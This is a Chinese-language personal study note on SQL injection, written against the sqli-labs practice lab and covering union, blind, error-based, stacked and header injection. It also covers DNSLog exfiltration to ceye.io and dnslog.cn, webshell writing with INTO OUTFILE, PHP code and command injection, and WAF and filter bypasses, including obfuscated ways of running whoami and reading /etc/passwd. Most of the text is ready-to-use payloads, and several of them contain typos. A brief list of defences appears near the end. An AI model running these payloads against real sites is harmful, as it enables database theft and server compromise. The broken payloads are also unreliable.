SQL 注入就是指 web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql语句来实现对数据库的任意操作;
即通过把sql命令插入到Web表单提交或输入域名或页面请求的查询字符串中,最终欺骗服务器执行恶意的SQL命令
当在一个网页中进行搜索某些内容,在这通信期间的大概过程为:你按下回车键,一个带有你输入的关键字通过GET或POST请求发送到服务器,业务逻辑层的Web服务器通过脚本引擎解析你的请求,动态地构造sql语句,并请求DBMS,执行SQL语句;DBMS返回SQL执行结果给Web Server,Web Server将页面封装成HTML格式响应给浏览器,浏览器解析HTML,将内容呈现给你。
文章学习平台:freebuf
mysql的系统库:
- information_schema:元数据库,存放了所有的数据库、表、列
- mysql
- performance_schema
- sys
information_schema有:
- SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。
- TABLES 表 : 提供了关于数据库中的表的信息。
- COLUMNS 表 :提供了表中的列信息。
MYSQL的基本操作:
MySQL的系统库 information_schema,存储着所有的数据库的相关信息,之后可以利用该库进行一次完整的注入。
猜数据库:
show databases;
select schema_name from frominformation_schemata;
猜某库的数据表:
select table_name from information_schema.tables where table_schema=‘xxxx’;
猜某表的所有列 :
select column_name from information_schema.columns where table_name=‘xxxxx’ and table_schema=‘xxxx’;
获取某列的内容:
select * from 表名;
用sqlmap中的参数:-r 一般是在以下类型中常用
post
搜索型注入
http头注入
登陆后的注入点有:cookie
注入类型:
细节注意:
- 单引号闭合前查询语句(必须形成闭合语句,否则数据库查询报错);
- –+注释后面的查询语句,与-- 等价(注意有空格)或#注释。
- 原查询语句返回的列数必须与注入语句返回列数相等。
- order by盲注列数排序。
常用方法与表:
concat() //将多个字符串拼接成一个字符串
concat_ws() //一次性指定分隔符,在多个字符串基础上都加上分隔符拼接成一个字符串
group_concat() //聚合函数
information_schema //元数据库名
table_schema //数据库名
table_name //表名
column_name //列名称
常规注入步骤:
url/index.php?id=1' order by 3 --+
url/index.php?id=-1' union select 1,2,3 --+
url/index.php?id=-1' union select database(),2,3 --+ //查询所得当前数据库名称为$db
url/index.php?id=-1' union select 1,2,group_concat(schema_name) FROM information_schema.schemata --+ //查所有的数据库
url/index.php?id=-1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$db' --+ //查询所得表名为$table
url/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$db' --+ //查询所得列名分别为$col1,$col2,$col3
url/index.php?id=-1' union select $col1,$col2,$col3 from $table --+ //完成注入
url/index.php?id=-1' union select group_concat(schema_name) from information_schema.schemata --+ //查出所有库名
手工注入顺序案例:
数字型注入:
url?id=1 order by 4 --+
# 判断有多少列
url?id=-1 union select 1,2,3 --+
# 判断数据显示点
url?id=-1 union select 1,user(),database()+
# 显示出登录用户和数据库名
url?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
# 查看数据库有哪些表
url?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 --+
# 查看对应表有哪些列
url?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
# 查看账号密码信息
特殊情况:
注释不可用情况下:
1.采用url?id=1 and 1=1 或 url?id=1' and '1'='1 进行探测注入点
http://localhost/sqli-labs/Less-23/?id=-1' union select 1,2,3 and '1'='1 //往后照常注入
http://localhost/sqli-labs/Less-23/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
and/or(&&/||)不可用情况:
1.使用url编码对&&/||进行编码注入
http://localhost/sqli-labs/Less-25/?id=1' %26%26 1=2 --+ //%26%26为&&
http://localhost/sqli-labs/Less-25/?id=1' %26%26 updatexml(1,concat(0x7e,database(),0x7e),1) --+
Boolean是基于真假的判断(true or false);不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
盲注有时需要一个一个字符去猜,因此一些字符串操作的函数经常被用到。
适用场景:没有数据回显,条件正确有结果,错误没结果
利用方式:构造判断条件,逐个猜测(盲猜)
length():返回查询字符串长度
mid(column_name ,start,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的AScii码
ASCII():返回字符的AsCii码
substring(string,start,end)
like //匹配注入,(不常用)
regexp //正则注入,(不常用)
例子:
1 and length(database())=5
1 and substr(database(),2,1)='e'--+ #如果正确响应结果,说明数据库名的第2个字符是e
#截取字符
select left('abcdefghijklm',5);
select MID('abcdefghijklm',5,5);
select substr('abcdefghijklm',5,5);
select ascii(substr('abcdefghijklm',5,5));
#转成ASCII码
select ORD('a');
select ASCII('a');
#正则
select user() regexp '^ro';
select user() like 'ro%';
使用BurpSuite(Intruder模块)进行遍历,获取正确的数据库名称。
注入案例:
#第一步,判断数据库长度
url/index.php?id=1' and length(database())=8 --+
#第二步判断数据库,截取字符
url/index.php?id=1' and left(database(),1)='s' --+
url/index.php?id=1' and substr(database(),1,1)='s' --+
url/index.php?id=1' and ascii(substr((查询语句 limit 0,1)1,1))=105 --+
url/index.php?id=1' and select ORD(MID((select IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68 --+
#第三步,判断表的数量
url/index.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=7 --+
#第四步,判断表名的长度
url/index.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 --+
#第五步,判断表名
url/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 --+
#第六步,判断列的数量
url/index.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')>1 --+
#第七步,判断列名的长度
url/index.php?id=1' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=7 --+
#第八步,判断列名
url/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1 --+
适用场景:没有数据回显,条件正确与否结果一样
利用方式:构造判断条件(and),添加sleep,逐个猜测(盲猜)
时间注入所需函数与布尔盲注大多一样:
length():返回查询字符串长度
mid(column_name ,start ,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的ASCii码
ASCII():返回字符的ASCii码
if():逻辑判断
sleep():控制时间
benchmark():控制时间
select sleep(if((select length(database())=8),3,0));
等价于select if(length(database())=8,sleep(3),0);
例子:
url/index.php?id=1' and if((length(database())>5),sleep(5),1) --+
# 基本操作
url/index.php?id=1' and if(ascii(substr((查询语句 limit 0,1),1,1))>101,sleep(1),0) --+
# 猜表名
url/index.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database=() limit 0,1),1,1))>101,sleep(1),0) --+
# 猜列名
url/index.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database=() and table_name='emails' limit 0,1),1,1))>101,sleep(1),0) --+
# 猜数据
url/index.php?id=1' and if(ORD(MID((select IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68,sleep(1),0) --+
差不多就是在布尔盲注的基础上进行休眠
适用场景:没有数据回显,条件正确与否结果一样,sleep没区别,但是错误信息会打印出来
利用方式:利用语法(参数)错误,把value在前端输出
十种报错注入参考文档
参考链接:https://blog.csdn.net/weixin_38023368/article/details/120101000
常用方法:
extractvalue(arg1,arg2) #arg为参数
updatexml(arg1,arg2,arg3)
floor() #floor(rand(0)*2)
常用payload:
# 一般用法
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
url/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+
SELECT extractValue('b','/a/b');
SELECT
updateXML('ccc ','/a','fff ') AS val1
updateXML('ccc ','/b','fff ') AS val2
updateXML('ccc ','//b','fff ') AS val3
updateXML('ccc ','/a/d','fff ') AS val4
updateXML(' ccc ','/a/d','fff ') AS val5
SELECT extractValue('', concat('~',version())); #有两个参数
select updateXML('',concat('~',version()),''); #有三个参数
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
例子:
#一般用法
url/index.php?id=1' and updatexml(1,concat(0x7e,(查询语句),0x7e,[]),1) --+
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e,@@datadir),1) --+
# 0x7e为~,目的是区分返回的数据
# @@datadir,存储数据的路径
url/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+
sql-labs案例:
# 爆库名及数据库路径
url?id=1' and updatexml(1,concat(Ox7e,database(),0x7e,user(),0x7e,@@datadir),1) --+
# 爆表名
url?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
# 爆列名
url?id=1' and updatexml(1.concat(0x7e,(select group_concat(column_name) from informaton_schema.columns where table_schema='secuity' and table_name='users'),0x7e),1) --+
适用场景:在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
利用方式:使用dnslog平台收集带有数据库相关的三级域名访问日志信息
注入原理:
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的四级域名带出,在ns服务器的dns日志中显示出来。
注入前准备:
secure_file_priv 为null,表示不允许导入导出
secure_file_priv 指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv 没有设置时,则表示没有任何限制
可了解一下load_file和outfile
1. DNSLog平台
www.dnslog.cn 或 www.ceye.io(http请求需要安装curl命令)(ceye api 脚本 dnslogsqlinj)
2. UNC(windows) # 通用命名规则
3. MySQL读写函数 # secure_file_priv
4. 读取文件select LOAD_FILE('路径');
1、只能访问本机的文件
2、文件需要有读取权限
3、字节数小于max_allowed_packet
5. 写入文件select 123 INTO OUTFILE '路径';
# 例如:路径E:\\in.txt # 123为更改后的内容
流程:
6. 把select LOAD_FILE()注入到数据库,访问文件
7. UNC构建DNS服务器地址,假装访问文件,产生DNSLog
select load_file('aaa.yourid.dnslog.cn/wuya');
8. 把子域名替换成函数或者查询SQL
如:
if((select load_file(concat('',database(),'.yourid.dnslog.cn/wuya'))),1,0); 服务器转义为\\,域名后的/目录名输入随机字符即可
案例: (dnslog三级域名为:wfmwsq.ceye.io)
http://localhost/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.wfmwsq.ceye.io\\abc'))--+
http://localhost/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.wfmwsq.ceye.io\\abc'))--+
url?id=1' and if((select load_file(concat('',database(),'.yourid.dnslog.cn/wuya'))),1,0) --+
# 查询第二个数据库名
url?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.yourid.dnslog.cn/wuya'))),1,0) --+
url?id=1' and if((select load_file(concat('',(查询语句),'.yourid.dnslog.cn/wuya'))),1,0) --+
dnslogsqlinj注入脚本语法:
只能在python2版本中可用
dnslogSql.py -u http://localhost/sqli-labs/Less-9/?id=1 -c
dnslogSql.py -u "http://localhost/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
--dbs get database
-D DB database name
--tables get table
-T TABLE table name
--columns get column
-c COLUMN column name
--dump get data
案例:
# php中可能的拼接:insert inte user(username,password) values('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','123456')
payload:
wowo',or updatexml(1,concat(0x7e,database(),0x7e),1) or '
# php中可能的拼接::update user ser username = 'wowo' where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:
1 or updatexml(1,concat(0x7e,database(),0x7e),1)
# php中可能的拼接::update user ser password = '1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where userid=1
payload:
1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' //与上一条一样
# php中可能的拼接::delete from user where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:
1 or updatexml(1,concat(0x7e,database(),0x7e),1)
堆叠查询注入可以执行多条sql语句,语句直接用(;)隔开
小知识点:
- 可以使用堆叠注入的地方也可以使用布尔盲注与时间盲注;
- 同样先找出正确的闭合规则,然后也看两种状态来猜解库名、表名等;
类似与下面在分号后面可执行新的语句:
?id=1';select if(length(database())>=8,sleep(4),1)
?id=1;select if(length(database())>1,sleep(3),1)
?id=1;select if(substr(database(),1,1)='r',sleep(3),1)
堆叠的(;)分号后可以执行新的sql语句,因此在知道网站根目录的情况下可以直接写日志拿shell
注意:php代码中必须使用 multi_query()
二次注入概要:
注:php代码中有使用 addslashes()函数,用来转义处理
注:php代码中有使用 addslashes()函数,用来转义处理
参考链接:PHP $_SERVER详解
HTTP头被插入数据库,构建出了Insert语句,那么头信息只要构造为:
$useragent = $_SERVER['HTTP_USER_AGENT"];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipaddr = $_SERVER['REMOTE_ADDR'];
$sq1 = "insert into header(user agent,referer,xforward,ipaddr) values(' $useragent ','$referer','$xforward','$ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "welcome Here.";
Payload:
Payload:
GET /security/misc.php HTTP/1.1
Host: 192.168.112.188
User-Agent: Mozi11a/5.o (windows NT 10.0; wow64;rv:46.0) Gecko/20100101 Firefox/46.04
Accept: text/htm1,app1ication/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT:1
Cookie: PHPSESSID=urOpOmmf3u7fh0qetad7ot6ep5
Connection: close
Referer: http://www.woniuxy.com
X-Forwarded-For:' or updatexml(1,concat(Ox7e,database(),0x7e),1) or '
1. 闭合与逻辑
payload:1' or '1'='1' 闭合后:id='1' or '1'='1'
也可以写成1'||'1'='1' 同理也可以使用 && 表示 and
payliad:1' or 1=1# 闭合后:id='1' or 1=1#'
2. 所有的确定字符串,均可以使用hex函数来处理成16进制,避免引号转义
select hex('/etc/passwd') #输出为:2F6574632F706173737764
select load_file(0x2F6574632F706173737764)
select hex('1earn')
select group_concat(table_name)from information_schema.tables where table_schema=Ox6C6561726E
select hex('%为什么%')
select * from article where content like 0x25E4B8BAE4BB80E4898825
3. WAF绕过
双写绕过:
select and or 等被过滤的话,可以这么构造, selselectect , anandd,这样即使被过滤了剩余字符串也能拼接成正常语句。
大小写绕过:
selecT,AnD,or ,可用来绕过简单的过滤手段
编码绕过:
base64,ASCII,16进制
特殊字符绕过:
空格:/**/,%20,%a0,%0a,%0d,%0b,%0c,select(password)from(user)
and:&&,or:||
内联注释:select username from /*!user*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf中可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略
php代码中包括以下可执行的函数:
1.eval()函数 # 可执行多段以;结尾的代码
2.assert()函数 # 只能执行一个表达式,故只能执行一段以;结尾的代码
3.preg_replace()函数 # 正则替换,php代码中,该函数中带有/e,则可执行代码
4.create_function()函数 # 创建匿名函数
code=$a=10; $b=20; print(Sa+$b);
code=$time1 = "2017-11-06 18:58:04";$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));
或者更加复杂的代码:
code=$conn = mysq1i_connect('127.0.0.1','root','123456','learn');mysqli_set_charset($conn,'utf8');
$result = mysq1i_query($conn,"select * from user");
$rows = mysqli_fetch_all($result);
var_dump($rows);
code=phpinfo();
code=print(date("Y-m-d"));
除此之外,我们也可以构造让assert函数执行eval()函数的Payload:
code=eval('$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));');
code=phpinfo();
code=print(date("Y-m-d"));
code=@eval('$a=10;$b=30; print($a+$b);');
$func =create_function('',$_POST['code']);
$func();
code=phpinfo();
code=$a=11;$b=30;print($a+$b);
code=eval('$a=11; $b=30; print($a+$b);');
反序列化漏洞也是属于代码注入范畴
在PHP中,可以直接执行操作系统的命令,函数包括: system, exec, popen, paassthru, shell_exec等
system($_POST['code']); # system自带回显
echo exec($_POST['code']); # 必须使用echo回显,echo exec(($_POST['code']));
echo shell_exec($_POST['code']);
passthru($_POST['code']);
另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令的一部分,则也会构成命令注入漏洞。比如后台执行命令:
sudo firewall-cmd --add-port=$port/$protocol
,而port参数是由前台用户传入的,构建的Payload如下:
80/tcp --permanent; echo "He1o world" /opt/lampp/htdocs/security/temp/mmmm.php;
1、根据首页提示,结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,
无论是错误回显还是正确的结果,直接上来先尝试拼接XXX and 1=1和XXX and 1=2。
2、根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试不带引号、单引号、双引号、圆括号、单引号+圆括号、双引号+圆括号、双圆括号。
3、如果根据提示、和以上各种尝试发现还是没有办法获取到有用信息,database(),则可以考虑分析一下源代码。
4、通常使用order by来判断列的数量的时候,基本上都是3列,因为slect * from users为3列。
5、进行布尔盲注时,先使用已知的Payload: and length(database()=8和and length(database()=7进行判断,
进而substr(database(), 1,1)='S'进行进一步的盲注获取结果。
6、如果遇到一些完全没有思路的时候,--尝试着将后台可能使用的SQL语句写出来,再进行分析。
7、如果存在多个参数的时候,可以尝试不同的参数,--不一定必须是第一个参数。比如用户名和密码,都可以进行尝试。
8、使用堆叠注入时,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,
如果也没有报错回显,那么考虑写入木马文件的方式:
select " " into outfile "/opt/lampp/htdocs/sqli-lab/cache/mm38.php"
9、但凡是提交Post请求的地方,必须要确认POST请求的URL地址和正文数据。
10、在Select语句中的Order By字段,要么根据列名排序,要么根据列的序号排序,但是无法根据一个列名字符串进行排序。
//数值型注入点
// PHP源码可能写的语句:select * from user where id=1 limit 0,1
?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),versiob() //常规注入
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) //报错注入
?id=1 and length(database())=8 //布尔盲注
?id=1 and substr(database(),1,1)='s' //布尔盲注
?id=1 and if(length(database())=8,sleep(5),1) //时间盲注
?id=-1 union select 1,2,group_concat(schema_NAME) FROM information_schema.schemata
?id=-1 union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$database'
?id=-1 union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$database'
//字符型注入点
// PHP源码可能写的语句:select * from user where id='1' limit 0,1
url/index.php?id=1' order by 3 --+
url/index.php?id=-1' union select 1,2,3 --+
url/index.php?id=-1' union select database(),2,3 --+ //查询所得当前数据库名称为$database
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) //报错注入
url/index.php?id=1' and length(database())=8 --+ //布尔盲注
url/index.php?id=1' and substr(database(),1,1)='s' --+ //布尔盲注
url/index.php?id=1' and if(length(database())=8,sleep(5),1) //时间盲注
url/index.php?id=-1' union select 1,2,group_concat(schema_NAME) FROM information_schema.schemata --+ //查所有的数据库
url/index.php?id=-1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$database' --+ //查询所得表名为$name1
url/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$database' --+ //查询所得列名分别为$column1,$column2,$column3
url/index.php?id=-1' union select $column1,$column2,$column3 from $table --+
//完成注入
//order by注入型
order by基础知识:
order by 只能根据列名、列的序号排序,无法根据列名字符串排序
//拓展为,可在order by 后进行子查询
select * from user where id>3 order by 1 //order by后注入型,猜测原语句写法,按列名1排序
select * from user where id>3 order by 1 desc //注入语句,1为数值型,desc为降序排列
select * from user where id>3 order by (if(length(database())=8,id,username)) //如果数据库名长度等于8,则按列名为id字段进行排序,否则,按列名为username字段进行排序
payload:
url?sort=1 desc //探测注入点,降序排列
url?sort=1 and updataxml(1,concat(0x7e,database(),0x7e),1) //报错注入可行
//盲注,如果数据库名长度等于8,则按列名为id字段进行排序,否则,按列名为username字段进行排序
url?sort=(if(length(database())=8,id,username))
//例子:
http://localhost/sqli-labs/Less-46/?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) //SELECT * FROM users ORDER BY $id
http://localhost/sqli-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ //SELECT * FROM users ORDER BY '$id'
http://localhost/sqli-labs/Less-48/?sort=(if(length(database())=8,id,username))
或
http://localhost/sqli-labs/Less-48/?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1) //目前所知,只能用ascii()配合substr()
http://localhost/sqli-labs/Less-49/?sort=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)--+
http://localhost/sqli-labs/Less-50/?sort=1;insert into users values(100,'test','test')
http://localhost/sqli-labs/Less-50/?sort=1;update users set username='test100' where id=100
http://localhost/sqli-labs/Less-51/?sort=1';update users set id=17 where id=100--+
union
information_schema
order by
update
drop
select
......
预编译
参数化
绑定变量
转义
\' \" \\
直接把用户的输入当成文本
魔术引号:magic quote
数据库异常信息隐藏
error based
封装异常
禁用某些参数
secure file priv
权限的定义
root
sims… :DBA分配了一个数据库的账号”sims“
数据加密
传输、存储
防火墙,限制同IP多少长时间
禁IP访问
黑名单
等等
绕过的方法——很多变体
select * from zzz = select * from %257a%257a%257a //url编码
"单引号" = %u0027、%u02b9、%u02bc //Unicode编码
adminuser = 0x61646D696E75736572 //部分十六进制编码
"空格" = %20 %09 %0a %0b %0c %0d %a0 //各类编码
union select = uNIoN sELecT
And = &&
or =||
"等于" = like或综合<与>判断
if(a,b,c) = case when(A) then B else C end
substr(str,1.1) = substr (str) from 1 for 1
limit 1,1 = limit 1 offset 1
Union select 1,2 = union select * from ((select 1)join (select 2)B:
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
whoami = ((((Wh^o^am""i)))) //利用符号分割字符执行whoami
whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami
set a=123whoami456/为了方便演示这里设置一个变量
echo %a:~3,6% //取出变量a的第3位开始,共计6个字符
%a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
whoami = w'h'o'a'm"i"" //单引号或双引号连接符,需要闭合
Cat /etc/passwd = cat /?t/??ss"" //?,"通配符
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[]通配符,匹配[]中的字符
Whoami = a=who&&b=ami&&SaSb //当然linux下也可以变量拼接
cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越 ./被拦截
本文章为个人学习时所记笔记,个中内容或有所不足,仅当参考